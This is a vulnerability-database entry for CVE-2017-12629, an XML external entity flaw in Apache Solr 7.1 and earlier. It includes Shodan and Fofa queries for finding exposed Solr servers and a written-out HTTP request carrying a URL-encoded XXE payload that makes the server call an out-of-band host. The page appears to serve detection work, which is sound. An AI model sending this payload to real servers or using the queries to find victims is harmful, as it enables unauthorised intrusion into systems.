🔙 목록으로 돌아가기

CVE-2017-12629: Apache Solr <= 7.1 - XML Entity Injection

TitleApache Solr <= 7.1 - XML Entity Injection
Authordwisiswant0
SeverityCritical
ImpactSuccessful exploitation of this vulnerability could lead to information disclosure, denial of service.
RemediationUpgrade to a patched version of Apache Solr (7.2 or higher) or apply the recommended security patches.
CVSS Score9.8
EPSS Score0.93776
CVE IDCVE-2017-12629
CWE IDCWE-611
Shodan Querycpe:"cpe:2.3:a:apache:solr"http.title:"apache solr"http.title:"solr admin"
Fofa Querytitle="solr admin"title="apache solr"
Tags cve2017 cve oast xxe vulhub solr apache vuln

🔍 Vulnerability Description

Apache Solr with Apache Lucene before 7.1 is susceptible to remote code execution by exploiting XXE in conjunction with use of a Config API add-listener command to reach the RunExecutableListener class. Elasticsearch, although it uses Lucene, is NOT vulnerable to this. Note that the XML external entity expansion vulnerability occurs in the XML Query Parser which is available, by default, for any query request with parameters deftype=xmlparser and can be exploited to upload malicious data to the /upload request handler or as Blind XXE using ftp wrapper in order to read arbitrary local files from the Solr server. Note also that the second vulnerability relates to remote code execution using the RunExecutableListener available on all affected versions of Solr.

🌐 HTTP Request

GET /solr/admin/cores?wt=json HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh, Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6.1 Safari/605.1.15
Connection: close
Accept-Encoding: gzip
GET /solr/yXRTKg/select?q=%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22UTF-8%22%3F%3E%0A%3C!DOCTYPE%20root%20%5B%0A%3C!ENTITY%20%25%20remote%20SYSTEM%20%22https%3A%2F%2Fd5jq7u1le0o2mk4ev8j0y55fkw6bfqpq9.oast.pro%2F%22%3E%0A%25remote%3B%5D%3E%0A%3Croot%2F%3E&wt=xml&defType=xmlparser HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (CentOS; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Connection: close
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2017/CVE-2017-12629.yaml

🦈 Packet Capture: ⬇️ Download cve-2017-12629.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A